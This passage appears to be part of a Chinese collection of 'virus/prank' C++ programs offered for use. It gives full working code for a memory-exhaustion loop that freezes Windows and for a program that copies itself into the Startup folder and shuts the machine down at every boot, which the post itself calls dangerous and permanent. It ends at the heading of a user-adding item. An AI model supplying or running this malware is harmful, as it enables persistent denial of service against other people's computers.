c++病毒/恶搞代码大全( 中 )

注：以下代码应勿用于非法（Dev-c++5.11实测可用）

5.

效果:卡死

警告:Windows高版本可能没有作用

解决方法：任务管理器（Ctrl+Alt+Delete）用方向键选该程序，点击Delete关闭

#include
#include
using namespace std;
int main()
{
    while(1)malloc(1000);
}

 

警告:从6.开始为危险/永久性程序，请慎重使用

6.

效果:开机即关机

提示:操作启动项，可能被杀毒软件拦截

解决方法：杀毒软件

(保存在C:\main.cpp，编译后生成C:\main.exe，也可更改18行代码)

#include 
#include 
#include 
#pragma comment(lib, "shell32.lib")
 
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}
 
int main(int argc, char * argv[])
{
    AutoRun_Startup("c://main.exe", "main.exe");
    system("shutdown /p");
    return 0;
}

 

7.

效果:添加用户

提示:可能被杀毒软件拦截
